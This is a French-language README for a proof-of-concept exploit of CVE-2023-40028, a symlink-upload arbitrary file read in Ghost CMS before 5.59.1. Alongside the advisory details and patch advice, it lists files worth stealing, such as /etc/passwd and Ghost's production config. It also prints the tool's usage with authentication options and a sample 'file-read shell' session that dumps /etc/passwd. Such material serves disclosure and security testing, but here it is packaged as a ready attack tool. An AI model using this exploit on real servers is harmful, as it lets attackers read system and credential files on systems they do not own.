
POC pour CVE-2023-40028 : Ghost CMS Lecture Arbitraire de Fichiers
Cette preuve de concept (POC) peut être utilisée pour exploiter CVE-2023-40028 et obtenir un accès en lecture de fichiers dans Ghost CMS.
Ghost est un système de gestion de contenu (CMS) open source. Les versions antérieures à 5.59.1 sont sujettes à une vulnérabilité qui permet aux utilisateurs authentifiés de télécharger des fichiers qui sont des liens symboliques. Cela peut être exploité pour effectuer une lecture arbitraire de n'importe quel fichier sur le système d'exploitation hôte. Les administrateurs du site peuvent vérifier l'exploitation de ce problème en recherchant des liens symboliques inconnus dans le dossier content/ de Ghost. La version 5.59.1 contient un correctif pour ce problème. Il est conseillé à tous les utilisateurs de mettre à jour. Il n'existe aucune solution de contournement connue pour cette vulnérabilité.
Sévérité : 6.5 MOYEN Vecteur : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Quelques fichiers non binaires en texte clair pouvant être intéressants :
/etc/hosts Résolution DNS locale Linux/etc/passwd Comptes utilisateurs Linux/etc/group Groupes d'utilisateurs Linux/var/lib/ghost/config.local.json Configuration locale de Ghost CMS/var/lib/ghost/config.production.json Configuration de production de Ghost CMSusage: ghost_fileread.py [-h] -t URL [-f FILE] [-u USERNAME] [-p PASSWORD] [-c COOKIE] [-x PROXY] [--timeout TIMEOUT] [-a USERAGENT]
POC for CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS)
options:
-h, --help show this help message and exit
-t URL, --url URL Target Ghost CMS URL (e.g., http://target-ghost-cms)
-f FILE, --file FILE File path to read
-u USERNAME, --username USERNAME
Username for authentication
-p PASSWORD, --password PASSWORD
Password for authentication
-c COOKIE, --cookie COOKIE
Cookie for authentication
-x PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
--timeout TIMEOUT Request timeout
-a USERAGENT, --useragent USERAGENT
User agent to use when sending requests
$ python3 ghost_fileread.py -t http://<url> -u '<username>' -p '<password>'
[*] Checking authentication (username/password) ...
[+] Admin session created successfully.
Welcome to the Ghost file-read shell. Type help or ? to list commands.
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash